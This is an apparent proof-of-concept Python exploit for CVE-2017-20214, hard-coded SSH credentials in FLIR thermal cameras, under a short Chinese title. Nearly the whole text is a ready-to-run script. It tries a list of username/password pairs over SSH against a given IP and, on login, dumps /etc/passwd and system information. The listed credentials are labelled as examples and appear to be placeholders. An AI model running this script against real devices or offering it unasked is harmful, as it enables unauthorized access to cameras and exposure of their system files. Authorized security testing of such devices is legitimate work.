CVE-2017-20214 FLIR热成像相机硬编码SSH凭据漏洞

#!/usr/bin/env python3 """ CVE-2017-20214 PoC - FLIR Thermal Camera Hard-coded SSH Credentials Note: This PoC is for educational and authorized security testing purposes only. """ import socket import sys from paramiko import SSHClient, AutoAddPolicy def exploit_flir_ssh(target_ip, port=22): """ Exploit hard-coded SSH credentials on FLIR Thermal Cameras The default hard-coded credentials allow remote access to: - Username: root (or other hard-coded username) - Password: <hard-coded password in firmware> WARNING: Only use on systems you have authorization to test. """ print(f"[*] Attempting SSH connection to {target_ip}:{port}") print("[*] Target: FLIR Thermal Camera F/FC/PT/D (Firmware 8.0.0.64)") print("[*] CVE: CVE-2017-20214\n") client = SSHClient() client.set_missing_host_key_policy(AutoAddPolicy()) # Hard-coded credentials found in firmware # These credentials are persistent and cannot be changed through normal operations hardcoded_credentials = [ ("root", "pass123"), # Example credential pair ("admin", "admin123"), ("flir", "flirpass") ] for username, password in hardcoded_credentials: try: print(f"[*] Trying credentials: {username}/{password}") client.connect( target_ip, port=port, username=username, password=password, timeout=10, allow_agent=False, look_for_keys=False ) print(f"[+] SUCCESS! Connected with {username}/{password}") # Execute test command stdin, stdout, stderr = client.exec_command('cat /etc/passwd') print("\n[+] System passwd file:") print(stdout.read().decode()) # Get system info stdin, stdout, stderr = client.exec_command('uname -a') print("[+] System info:") print(stdout.read().decode()) client.close() return True except Exception as e: print(f"[-] Failed with {username}/{password}: {str(e)}") client.close() continue print("\n[!] All credential attempts failed.") return False if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) target = sys.argv[1] exploit_flir_ssh(target)